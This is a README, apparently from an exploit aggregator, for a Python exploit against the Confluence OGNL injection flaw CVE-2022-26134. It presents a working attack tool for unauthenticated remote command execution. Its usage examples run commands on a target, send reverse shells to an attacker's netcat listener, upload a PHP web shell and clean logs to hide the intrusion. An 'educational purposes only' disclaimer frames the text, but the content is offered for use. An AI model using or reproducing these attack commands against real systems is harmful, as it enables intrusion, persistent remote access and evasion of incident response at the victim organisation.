## https://sploitus.com/exploit?id=A31ACFB8-97BB-5D62-B1BA-D8B1DFDF84A0
# CVE-2022-26134 - Atlassian Confluence OGNL Injection (RCE)
> β
**For educational purposes only. Do not use against systems you don't have explicit permission to test.**
---
## π Description
This is a full-featured Python exploit for the critical **Unauthenticated Remote Code Execution (RCE)** vulnerability in **Atlassian Confluence**, identified as **CVE-2022-26134**.
It leverages an OGNL injection vulnerability to execute arbitrary system commands, establish reverse shells, upload files, clean logs, and more.
---
## π Features
>β
Command Execution (OGNL RCE)
>β
Interactive pseudo-shell
>β
Reverse Shell (bash / python / mkfifo)
>β
Auto-detect open outbound ports for reverse shell
>β
File Upload (via base64 encoding)
>β
Log Cleaning
>β
Logging to `exploit_log.txt`
---
## π§ͺ Tested On
- Confluence Server 7.3.5
- Python 3.x
- No authentication required
---
## βοΈ Usage
```bash
python3 exploit.py [OPTIONS]
```
---
## π§ Options
| Option | Description |
|--------|-------------|
| `--cmd ''` | Run a single command |
| `--shell` | Start interactive RCE shell |
| `--reverse [method]` | Send reverse shell (method: bash / python / mkfifo) |
| `--autors ` | Auto-detect open port and send reverse shell |
| `--upload ` | Upload a file via base64 |
| `--cleanlogs` | Attempt to clean Confluence logs (basic) |
---
## π₯ Examples
### πΉ Run a single command
```bash
python3 exploit.py http://10.201.92.3:8090 --cmd 'id'
```
---
### πΉ Start interactive shell
```bash
python3 exploit.py http://10.201.92.3:8090 --shell
```
---
### πΉ Send reverse shell (bash)
```bash
nc -lvnp 4444
python3 exploit.py http://10.201.92.3:8090 --reverse 10.10.14.99 4444 bash
```
---
### πΉ Auto-detect outbound port & send shell
```bash
python3 exploit.py http://10.201.92.3:8090 --autors 10.10.14.99
```
---
### πΉ Upload file to target
```bash
python3 exploit.py http://10.201.92.3:8090 --upload shell.php /tmp/shell.php
```
---
### πΉ Clean logs
```bash
python3 exploit.py http://10.201.92.3:8090 --cleanlogs
```
---
## π Output Logging
All executed commands and their results are automatically saved to:
```
exploit_log.txt
```
---
## π Disclaimer
This tool is provided **strictly for educational and authorized testing purposes**.
- Do **not** use against systems without explicit permission.
- The author is **not responsible** for any misuse or damage.
---
## π References
- [CVE-2022-26134 Advisory](https://nvd.nist.gov/vuln/detail/CVE-2022-26134)
- [Atlassian Official Fix](https://confluence.atlassian.com/security/security-advisory-2022-06-02-1142446709.html)